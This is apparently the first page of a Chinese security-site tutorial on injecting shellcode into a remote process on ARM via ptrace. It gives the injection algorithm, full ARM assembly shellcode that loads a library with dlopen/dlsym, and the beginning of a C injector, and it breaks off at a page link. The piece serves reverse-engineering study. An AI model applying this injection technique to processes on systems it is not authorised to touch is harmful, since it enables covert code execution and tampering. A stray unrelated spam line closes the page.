歡迎來到 黑吧安全網 聚焦網絡安全前沿資訊,精華內容,交流技術心得!

Arm平臺Ptrace注入shellcode技術

來源:本站整理 作者:佚名 時間:2019-06-13 TAG: 我要投稿

繼ptrace注入之dlopen/dlsym注入第三方so庫到遠程進程中后,本次探索的是shellcode 的注入
 
概述
shellcode注入是通過將dlopen/dlsym庫函數的操作放在了shellcode中,注入函數只是通過對遠程進程進行內存申請,接著修改shellcode 中有關dlopen/dlsym庫函數使用到的參數,然后直接將shellcode注入到遠程進程申請的空間中,通過修改pc寄存器的方式來執行shellcode 處的代碼
 
注入算法
【1】在shellcode中編寫好dlopen、dlsym函數的調用來加載so庫和執行函數,但是需要將參數地址、函數地址、寄存器地址先隨便填寫一些值為我們真實的地址保留
【2】附加遠程進程、保存此刻寄存器的數據,為后面恢復遠程進程的繼續執行準備
【3】申請內存空間,選好shellcode存放的具體位置,準備存放shellcode和參數數據
【4】計算本地庫函數對應到遠程進程中的庫函數地址,填充到shellcdoe中的參數中去。計算好庫函數參數、寄存器存值相對shellcode起始位置的偏移再加上遠程進程中shellcode存放的起始位置,得到的結果就是遠程進程的內存空間中這些參數存放的位置,將這些地址填充到shellcode的參數中去
【5】設置寄存器的值來讓執行庫函數
【6】恢復寄存器的值讓遠程進程繼續正常執行
 
代碼實現
shellcode代碼
@定義了存放庫函數參數地址、函數地址、寄存器地址的全局變量,為的是在注入代碼中可以獲取變量地址并傳入數據
.global _dlopen_addr_s
.global _dlopen_param1_s
.global _dlopen_param2_s
.global _dlsym_addr_s
.global _dlsym_param2_s
.global _dlclose_addr_s
.global _inject_start_s
.global _inject_end_s
.global _inject_function_param_s
.global _saved_cpsr_s
.global _saved_r0_pc_s
.data
_inject_start_s:
    @ debug loop
3:
    @sub r1, r1, #0
    @B 3b
    @ dlopen,加載第三方so庫
    ldr r1, _dlopen_param2_s
    ldr r0, _dlopen_param1_s
    ldr r3, _dlopen_addr_s
    blx r3
    subs r4, r0, #0
    beq    2f
    @dlsym,根據提供的庫函數名稱,搜索so庫中的函數位置
    ldr r1, _dlsym_param2_s
    ldr r3, _dlsym_addr_s
    blx r3
    subs r3, r0, #0
    beq 1f
    @call 調用注入庫中的函數
    ldr r0, _inject_function_param_s
    blx r3
    subs r0, r0, #0
    beq 2f
1:
    @dlclose,如果沒有在被使用就卸載動態庫
    mov r0, r4
    ldr r3, _dlclose_addr_s
    blx r3
2:
    @restore context,恢復成注入前的指令執行狀態
    ldr r1, _saved_cpsr_s
    msr cpsr_cf, r1
    ldr sp, _saved_r0_pc_s
    ldmfd sp, {r0-pc}
_dlopen_addr_s:
.word 0x11111111
_dlopen_param1_s:
.word 0x11111111
_dlopen_param2_s:
.word 0x2
_dlsym_addr_s:
.word 0x11111111
_dlsym_param2_s:
.word 0x11111111
_dlclose_addr_s:
.word 0x11111111
_inject_function_param_s:
.word 0x11111111
_saved_cpsr_s:
.word 0x11111111
_saved_r0_pc_s:
.word 0x11111111
_inject_end_s:
.space 0x400, 0
.end
注入函數inject_remote_process_shellcode,可以放在inject_remote_process函數的下面
//宏定義了一個遠程進程計算
#define REMOTE_ADDR( addr, local_base, remote_base ) ( (uint32_t)(addr) + (uint32_t)(remote_base) - (uint32_t)(local_base) )
/*************************************************
  Description:    通過shellcode方式ptrace注入so模塊到遠程進程中
  Input:          pid表示遠程進程的ID,LibPath為被遠程注入的so模塊路徑,FunctionName為遠程注入的模塊后調用的函數
                  FuncParameter指向被遠程調用函數的參數(若傳遞字符串,需要先將字符串寫入到遠程進程空間中),NumParameter為參數的個數
  Return:         返回0表示注入成功,返回-1表示失敗
*************************************************/
    int iRet = -1;
    struct pt_regs CurrentRegs, OriginalRegs;  // CurrentRegs表示遠程進程中當前的寄存器值,OriginalRegs存儲注入前的寄存器值,方便恢復
    void *mmap_addr, *dlopen_addr, *dlsym_addr, *dlclose_addr, *dlerror_addr;   // 遠程進程中需要調用函數的地址
    void *RemoteMapMemoryAddr, *RemoteModuleAddr, *RemoteModuleFuncAddr; // RemoteMapMemoryAddr為遠程進程空間中映射的內存基址,RemoteModuleAddr為遠程注入的so模塊加載基址,RemoteModuleFuncAddr為注入模塊中需要調用的函數地址
    long parameters[10]; 
    int i;
    uint32_t code_length;
    uint8_t *dlopen_param1_ptr, *dlsym_param2_ptr, *saved_r0_pc_ptr, *inject_param_ptr, *remote_code_start_ptr, *local_code_start_ptr, *local_code_end_ptr;

[1] [2] [3]  下一頁

【聲明】:黑吧安全網(http://www.pcpbjo.tw)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。
  • 最新更新
    • 相關閱讀
      • 本類熱門
        • 最近下載
        云南快乐十分前三电视